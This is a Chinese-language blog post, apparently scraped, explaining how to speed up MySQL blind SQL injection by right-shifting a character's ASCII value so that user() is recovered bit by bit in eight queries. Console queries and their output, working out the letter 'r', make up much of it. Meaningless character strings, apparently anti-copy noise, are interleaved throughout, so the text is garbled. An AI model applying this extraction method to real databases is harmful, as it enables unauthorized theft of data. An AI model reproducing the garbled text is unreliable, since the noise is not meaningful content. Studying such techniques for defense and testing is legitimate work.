关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

8 A* e' z0 t9 l3 r
; C( B6 b2 q4 F9 j6 J8 h
8 I3 t6 z7 C0 y. O* H4 q下面将以查询mysql数据库当中user()的第一位为例:
7 Q. g$ h% b% d

( |* L% X9 W: j
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
) U8 f" k' D8 T7 I* s/ M. I


4 t: U: E0 [+ S  s6 \* \+ e5 g* ?首先执行如下sql语句:

4 Y5 f, C0 Q- _# e! I

, H: P) f, f" J- |$ L0 hmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
: R$ H& L: g8 R$ b
) Q* R# f, l8 o4 e, v* i& N6 I4 |* X

8 h: z. v" J7 [2 ~9 Q* I我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
' ]$ N' ?; l, r* N( v, C) d
1 y' G1 U5 W& k

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
+ U) [% h0 {" e% I6 [0 X' _
! J. w. U3 w8 w7 E
  E. d: B  B$ q% H' c# o
如果运算结果为1,说明第一位为0,不为1
0 ^0 {2 d9 F- c' G% ~& c) q) T
& K( ~) g8 ^$ f0 r6 b" L
5 Z' s" w' g# |
, x7 z/ Q0 W% \: Q7 N6 p+————————————–+
5 \. _- D& v3 K; T! T
| (ascii((substr(user(),1,1))) >> 7)=0 |
  @$ O6 w! F) h& J. U
+————————————–+
; X- D4 J9 \5 w, H1 \" n
| 1 |

+————————————–+

4 W2 i1 c+ m- U9 @( u1 u) H1 row in set (0.00 sec)

* h+ S* d- }$ ]" V! {7 g( s, p8 ~这样我们就确定这个8bit的ascii的第一位为0



/ E8 ~/ R& x& z5 E: X第二次我们来做6次右偏移来确定前两位

8 H: A4 k/ E! \

! T, B9 ?/ l( @9 \3 x4 f前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
8 P  @' W8 I" c& O& o! R7 p9 l
+————————————–+
7 C& I. u  [. ^3 M+ _3 S3 ~
| (ascii((substr(user(),1,1))) >> 6)=0 |

6 X% m" l/ x- ^& n+ O+————————————–+

| 0 |
2 C; T7 [" Q- X. k" M0 q
+————————————–+

1 row in set (0.00 sec)

0 w# b! ]8 Z% Q" t% q$ ?
9 }( E5 C7 e% [3 c% ]
( M9 k1 {. c# s! N0 q7 ^结果为0,即第二位为1
# X) Y7 S- M( B$ v& u* E


* G+ M1 U+ o; k( z/ A( K开始猜测前三位为010或011

8 E, d5 O. [! N4 u% C

让我们看看010和011的ascii码是多少
$ A! a( ], J6 Q4 Z2 l) y

- `" X; ^. d! S8 ]- D! y
, S" `/ O3 H9 u, g3 Q5 p1 `分别查询select b’011′ select b’010′

4 r' _2 g( G9 J3 G2 v  R$ T$ v1 L
: ]9 J% p' w& G1 F. m: v# _' y
获得结果 010 = 2 011 = 3


! T+ e  f' }8 ~2 s9 k
执行如下sql:
7 f/ a# F  A- d* U/ U2 C# a# q


, |. O" ~/ ?0 U( f6 m% c4 kmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
: [( i8 b5 s) s, X- d8 F6 m
% @2 L! s4 E2 O8 q% I2 A# a, u7 a+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

. A+ E/ n0 F/ b( @# ^+————————————–+
8 K( M8 G. v' `5 k3 S; T( V* @5 ]. F
| 0 |
$ F+ T* E* s. W' k, g
! |6 }7 B) G9 t; U9 @% Z$ x+————————————–+
  ]* D) {- S: H, `! g  ]# o
& m8 q2 C8 L$ Y$ I. v即前三位不为010,而是011

& }# r( S% [: d% u! F

7 E* m8 A% [5 z1 Q; R0 G直到获得最后一位
  x  i# H1 P, [, w( f1 w9 E
" I* @+ G8 p7 c* s; O

# Q+ F7 s: X: O  _+ m( `) z最终结果为:01110010



转换一下:
  z, y+ g& b4 o6 k. Z# [8 n2 _
7 J' c% N" E" n8 C; e7 {: a/ h: g, m

: E- k& e3 M% W2 \) z; v. t. pselect b’01110010′

* L. U, c3 M6 H, _$ Q3 ]# s! F

查询结果
* z- M+ F* G1 s

# c3 F. h! Y, d& Y0 y0 ?
+————-+

| b’01110010′ |

9 F9 i# U' J9 u/ c4 j+————-+
* x' E( O" x6 x# z3 W( _
| r |
$ s$ k1 I3 }2 j5 _: u
+————-+

; }9 D; i/ |' V3 p$ a  i3 P" A1 row in set (0.00 sec)


% a6 o0 y* K- V9 ?
5 u4 O/ e7 r' [1 t/ i这样我们就获得了user()的第一位.其它位依此类推
- T7 E( G9 I! r1 @